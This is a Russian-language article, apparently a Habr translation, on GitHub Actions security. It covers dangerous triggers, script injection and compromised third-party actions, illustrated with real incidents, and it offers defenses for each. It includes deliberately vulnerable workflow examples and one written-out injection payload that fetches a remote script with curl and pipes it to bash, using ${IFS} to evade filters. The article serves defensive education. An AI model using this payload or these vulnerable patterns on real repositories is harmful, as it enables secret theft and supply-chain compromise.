Безопасность GitHub Actions: модель угроз, атаки и меры защиты. Часть 1

от автора

В этой статье речь пойдет о том, как понять и защитить рабочие процессы в GitHub Actions: от модели угроз до механизмов контроля безопасности.

В марте 2025 года был скомпрометирован популярный GitHub Action tj-actions/changed-files — по данным GitHub Advisory Database, инцидент затронул более 23 000 репозиториев. Атакующие изменили теги версий так, чтобы они указывали на вредоносный commit, который выводил CI/CD-секреты в логи GitHub Actions.

В декабре 2024 года проект ultralytics пережил supply chain-атаку: злоумышленники скомпрометировали GitHub Actions workflow и PyPI API token, после чего в PyPI попали вредоносные версии пакета. По данным PyPI, затронутые релизы 8.3.41, 8.3.42, 8.3.45 и 8.3.46 были удалены; пользователи также зафиксировали, что опубликованный wheel запускал xmrig-майнер.

В марте 2026 года был скомпрометирован Trivy — популярный open source-сканер уязвимостей от Aqua Security. По итоговому разбору Aqua, начальный доступ был получен через уязвимый workflow с pull_request_target: атакующий украл organization-level и repo-level secrets, а затем использовал доступ для компрометации Trivy и связанных GitHub Actions. 

Все три истории показывают разные грани одной проблемы: GitHub Actions часто воспринимают как «просто CI», хотя на практике это полноценная среда выполнения кода с доступом к токенам, секретам, артефактам и supply chain-зависимостям. Именно поэтому ошибки в триггерах, обработке пользовательского ввода и подключении сторонних actions могут быстро превращаться в компрометацию всего пайплайна.

В первой части я подробно разберу общую модель безопасности GitHub Actions, расскажу о типичных ошибках и о том, как они проявлялись в известных атаках.

Вторая часть будет посвящена формирующемуся ландшафту угроз, связанных с actions на базе ИИ. В ней я расширю модель угроз, расскажу о распространенных рисках и представлю собственный подход к анализу безопасности, с помощью которого удалось обнаружить новые риски и уязвимости.

Модель угроз для GitHub Actions

GitHub Actions выполняет код в ответ на события в репозитории. Главный вопрос безопасности здесь такой: кто контролирует код, который запускается, и с какими правами? 

В публичных репозиториях GitHub граница доверия проходит между:

доверенной зоной: владельцами репозитория, участниками проекта, членами организации, одобренными ботами, которые могут делать коммиты в main, получать доступ к CI/CD-секретам, запускать рабочие процессы и изменять их;
— и недоверенной зоной: зрителями, авторами пулл-реквестом из форков, создателями issue, авторами комментариев, внешними ботами и GitHub Apps, которые могут открывать пулл-реквесты из форков, создавать issue, публиковать комментарии и ставить звезды:

Доверенные зоны

Доверенные зоны

Есть способы перейти через границы доверия, например с помощью скомпрометированных учетных данных сопровождающего проекта. Но классическая задача безопасности и основной фокус этого исследования — обход границы доверия: сценарий, при котором участник из недоверенной зоны получает контроль над выполнением кода в контексте GitHub Actions репозитория.

Если злоумышленнику удается пересечь или обойти эти зоны безопасности, он может управлять выполнением Action и использовать доступный контекст по ситуации. Ниже приведена полезная высокоуровневая схема, иллюстрирующая основные понятия безопасности GitHub Actions:

Ключевые понятия: от первоначального доступа до последствий

Ключевые понятия: от первоначального доступа до последствий

GitHub Actions позволяет даже недоверенным участникам инициировать рабочие процессы через разные действия, например:

  • Отправлять пулл-реквест из форка с произвольным кодом и содержимым

  • Комментировать задачи и пулл-реквесты, как свои, так и сторонние

  • Создавать новые задачи, обсуждения и многое другое

Этот начальный уровень доступа в сочетании с ошибкой конфигурации рабочего процесса и потенциальными последствиями, например доступом к секретам, выполнением кода или закреплением на self-hosted раннере, а также вредоносными коммитами, создает уязвимость. 

В следующем разделе мы подробно разберем наиболее значимые риски и ошибки конфигурации, а также приведем примеры атак и инцидентов, возникших из-за таких уязвимостей.

pull_request_target и другие опасные триггеры

Самый критичный и при этом часто неправильно понимаемый риск CI/CD — ошибка конфигурации pull_request_target в GitHub Actions. На первый взгляд он почти не отличается от стандартного триггера pull_request, но с точки зрения безопасности последствия у них существенно разные:

pull_request запускает версию рабочего процесса из ветки-источника PR. Это может выглядеть опасно, потому что атакующий способен изменить код рабочего процесса в своем форке так, чтобы выполнить вредоносные команды. 

Однако GitHub снижает этот риск: такие рабочие процессы не получают доступа к секретам, а права им выдаются только на чтение. Кроме того, на уровне организации есть механизм контроля безопасности под названием «Approval for running fork pull request workflows from contributors» («Ручное одобрение запуска workflow для pull request из форков») с тремя вариантами настройки:

Настройка «Approval for running fork pull request workflows from contributors» в организации GitHub

Настройка «Approval for running fork pull request workflows from contributors» в организации GitHub

Хотя это не абсолютная защита: злоумышленники могут обойти ее, превратив себя в first-time contributor с помощью тривиальной синтаксической правки, как показали исследователи Praetorian в случае компрометации PyTorch, — такой механизм делает pull_request относительно безопасным.

В отличие от него, pull_request_target запускает версию рабочего процесса из базовой ветки, например main. Поскольку сам код рабочего процесса участник проекта не может так просто подменить, GitHub считает этот контекст «доверенным». Поэтому у этого триггера нет ограничивающих проверок на уровне организации, зато есть доступ к секретам репозитория и права на запись по умолчанию.

Задумка в том, чтобы сопровождающие могли автоматизировать задачи для пулл-реквестов из внешних форков, не открывая логику рабочего процесса для подмены.

Опасность появляется в классическом сценарии моделирования угроз: внешний участник форкает репозиторий, чтобы отправить PR. Даже если код рабочего процесса нельзя изменить, автор пулл-реквеста может повлиять на выполнение этого рабочего процесса через артефакты, полученные при checkout (получении кода). 

Следующий пример показывает классический уязвимый шаблон: рабочий процесс с доступом к чувствительному секрету извлекает код из форка, а затем выполняет над ним действия:

on: pull_request_target: # Код атакующего запускается с секретами базового репозитория   types: [opened, synchronize]jobs: review:   runs-on: ubuntu-latest   steps:     - uses: actions/checkout@v4       with:         ref: ${{ github.event.pull_request.head.sha }}  # Извлекает код АТАКУЮЩЕГО     - uses: some-action@v1       with:         api-key: ${{ secrets.API_KEY }}  # Доступен атакующему     - run: |         make build  # make использует извлеченный код

Поскольку команда make build использует извлеченный код, атакующий получает контроль над выполнением. Этот шаблон — сочетание pull_request_target с checkout ветки-источника пулл-реквеста — лежит в основе класса атак «Pwn Request».

Атака

Эта конкретная ошибка конфигурации — известный вектор атак. Это показала недавняя компрометация цепочки поставки Trivy. Инцидент начался с уязвимого workflow, хотя его авторы считали конфигурацию безопасной:

Фрагмент уязвимого workflow

Фрагмент уязвимого workflow
Перевод кода:

# БЕЗОПАСНОСТЬ: pull_request_target используется для поддержки PR
# из форков с правами на запись.
# Код из PR извлекается только для статического анализа —
# он никогда не выполняется.
# При изменении этого workflow убедитесь, что код из PR
# не выполняется, а пользовательский ввод не используется небезопасно.

pull_request_target:
types: [opened, synchronize]
paths:
— ‘pkg/**/*.go’
— ‘rpc/**/*.go’

На практике рабочий процесс извлекал код, контролируемый атакующим, а затем выполнял его через action, написанный внутри проекта:

Фрагмент уязвимого workflow

Фрагмент уязвимого workflow

Подменив код action setup-go, атакующий смог добиться выполнения кода и похитить высокопривилегированный токен уровня организации. Дальше атака развивалась уже от этой точки.

Защита

Единой и окончательной стратегии защиты от ошибок конфигурации при использовании pull_request_target не существует. Самый простой совет — не использовать его. При этом надо признать, что такой подход не всегда практичен, особенно когда автоматизированные сценарии должны выполняться на коде из пулл-реквеста.

В случаях, когда pull_request_target действительно необходим, меры снижения риска должны включать:

  • Отключение форков

  • Запуск рабочего процесса только после ручной проверки

  • Отказ от выполнения произвольных команд над кодом, полученным при checkout

Ни одна из этих мер не является безусловно надежной.

Другие опасные триггеры

pull_request_target — самый обсуждаемый опасный триггер, и это заслуженно, учитывая его внутреннюю связь с кодом, который он запускает и с которым взаимодействует. Однако он не единственный. Помимо pull_request_target, есть еще семь триггеров с теми же опасными свойствами:

  • Для запуска не требуются права на запись в репозиторий

  • Запущенный рабочий процесс выполняется в контексте основной ветки, с полным доступом к секретам и правами на запись

Список включает восемь разных триггеров, сгруппированных по сходству, а также типичный вектор атаки:

Триггер

Вектор атаки

pull_request_target

Вредоносное содержимое PR

issues, issue_comment

Вредоносный заголовок / тело / комментарий задачи

discussion, discussion_comment

Вредоносное обсуждение / комментарий

fork, watch

События форка / звезды, инициированные атакующим

workflow_run

Наследует риски от родительского рабочего процесса

Например, workflow, который обрабатывает содержимое задачи и выполняет встроенный в него код, может показаться маловероятным сценарием, пока вы не вспомните о рабочих процессах на базе ИИ, где содержимое задачи используется как входные данные для модели. Этот сценарий разберем во второй части.

Триггер workflow_run создает отдельный риск: он выстраивает цепочку от других рабочих процессов и потребляет их выходные данные. Если атакующий может повлиять на артефакты родительского рабочего процесса, он способен отравить последующее выполнение. Из-за сложных графов зависимостей это становится распространенным источником ошибок конфигурации.

Внедрение скрипта

Тем, кто знаком с атаками через внедрение команд, атака через внедрение скрипта, также известная как внедрение выражений (expression injection), будет интуитивно понятна. 

Как веб-приложение предоставляет поля ввода: имя пользователя, пароль, поиск, так и workflows принимают входные параметры, например имена веток, заголовки задач, тела пулл-реквеста и т. д. И так же, как веб-приложение может быть уязвимо к внедрению команд, рабочий процесс может быть уязвим к внедрению скрипта, когда в поле ввода добавляется вредоносный код. 

Если пользователь из недоверенной зоны может запустить рабочий процесс с такими входными данными, он получает выполнение в контексте этого рабочего процесса. Классический пример такой атаки — рабочий процесс, который выводит заголовок задачи:

name: Issue Syntax Checkeron:  issues:    types: [opened]jobs:  validate-issue:    runs-on: ubuntu-latest    steps:      - name: Echo Issue Title        run: |          echo "Processing new issue: '${{ github.event.issue.title }}'"      - name: Perform Syntactical Checks        run: |          echo "Running static analysis and syntax linting..."          # например, npm run lint или flake8 .          echo "✅ Syntax checks passed!"

Как видно, на первом шаге через echo выводится ${{ github.event.issue.title }}. Это значит, что вредоносная полезная нагрузка, похожая на ту, что использовалась в инциденте с tj-actions:

Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo

выполнит эту команду curl в контексте раннера, на котором запускается задача. Обратите внимание на трюк с ${IFS}: это классический прием обхода WAF, который теперь встречается и в полезных нагрузках для CI/CD.

Атака

В декабре 2024 года Ultralytics, организация, стоящая за чрезвычайно популярными моделями компьютерного зрения YOLO, столкнулась с серьезной атакой на цепочку поставки ПО. Злоумышленники скомпрометировали релизы проекта на PyPI, заразив тысячи разработчиков и downstream-приложений криптовалютным майнером XMRig. 

Первопричину удалось свести к небезопасной конфигурации внутри пользовательского составного action, который использовался в репозитории ultralytics/actions. 

Как и в примере выше, рабочий процесс брал входные данные, контролируемые пользователем, а именно имя Git-ветки (${{ github.head_ref }}) или ${{ github.ref }}), и подставлял их напрямую в блок bash run без предварительной очистки и без промежуточного сопоставления с переменной окружения. Атакующий воспользовался этим, открыв пулл-реквест с вредоносным именем ветки:

Вредоносный payload в имени ветки

Вредоносный payload в имени ветки

Атакующему удалось похитить токены GitHub, украсть учетные данные для публикации проекта в PyPI и в результате отравить выпускаемые пакеты.

Защита

Защита от внедрения команд в основном строится двумя способами:

  1. Привязка входных данных к переменным окружения: это самый прямой метод. Если обращаться к переменной окружения через стандартный синтаксис оболочки, например «$MY_VAR», оболочка автоматически воспринимает содержимое переменной как обычную строку.

  2. Очистка недоверенных входных данных: в зависимости от сценария использования даже переменную в кавычках иногда можно превратить в оружие. В таких случаях входные данные нужно очищать и проверять. Для этого перед выполнением команды необходимо строго убедиться, что входная строка соответствует безопасному шаблону, например регулярному выражению со списком разрешенных значений: только буквы, цифры и дефисы в оболочке вроде bash.

Скомпрометированные сторонние компоненты GitHub Actions

GitHub Actions выполняет две основные функции, которые часто смешивают: это одновременно полноценная система CI/CD и набор переиспользуемых строительных блоков для рабочих процессов, обычно называемых actions. 

Самый популярный пример второго типа — официальный action actions/checkout, который нужен для получения кода репозитория. Мы наблюдали его в 100% сред клиентов WizCode. 

А теперь представьте, что этот action скомпрометирован. Это привело бы к колоссальным последствиям для всей экосистемы GitHub Actions, потому что ни один рабочий процесс уже нельзя было бы считать безопасным. Атака на tj-actions в прошлом году стала реальным предупреждением о подобных последствиях.

Атака

15 марта 2025 года action tj-actions/changed-files, который на тот момент использовался более чем в 22 000 публичных репозиториев, был скомпрометирован злоумышленником. Во время окна атаки затронутые рабочие процессы непреднамеренно записывали в журналы секреты, закодированные в base64, что привело к масштабному и публично заметному несанкционированному выводу данных. 

Хотя публичный инцидент оказался широко распространенным, последующее расследование Unit 42 показало, что изначальной целью была Coinbase, а атакующий провел атаку на цепочку поставки ПО, последовательно скомпрометировав четыре разных action для достижения конечной цели:

Сеть скомпрометированных actions в атаке на tj-actions

Сеть скомпрометированных actions в атаке на tj-actions

Эта атака показывает, насколько сильно взаимосвязаны переиспользуемые компоненты в GitHub Actions. Она также подчеркивает, что даже рабочие процессы, которые сами по себе настроены безопасно, могут стать уязвимыми из-за зависимостей, на которые они опираются.

Защита

Основная рекомендация для защиты от скомпрометированного стороннего action — фиксировать ссылки на actions по SHA коммитов. Хотя это не всегда решает проблему полностью, например может быть неэффективно для переиспользуемых рабочих процессов и вложенных actions, такой подход остается самой распространенной и наиболее известной мерой защиты.

Подведем итог: в этой части мы разобрали базовый уровень — опасные триггеры, внедрение скриптов и риски цепочки поставки. Во второй части появится переменная, которую традиционные модели угроз не учитывают: искусственный интеллект, которым можно манипулировать через тот самый контент, для обработки которого он предназначен. Рассмотрим, как официальные actions от OpenAI, Anthropic и Google работают с этой задачей, где у них остаются слабые места и что я обнаружил, когда изучил их код.


Если тема безопасности CI/CD близка к вашим задачам, можно продолжить разбор на смежных открытых уроках. Там поговорим с экспертами-практиками про инциденты, Bash и накопленный ИБ-долг — то есть о том, что часто и превращает ошибку в workflow в реальную проблему.

  • 26 мая, 20:00. «Первые 60 минут ИБ-инцидента: как действует CISO». Записаться

  • 4 июня, 20:00. «Продвинутый Bash». Записаться

  • 16 июня, 20:00. «Техдолг ИБ: что чинить первым». Записаться

Полный список бесплатных уроков от преподавателей курсов уже доступен в календаре мероприятий.

ссылка на оригинал статьи https://habr.com/ru/articles/1036996/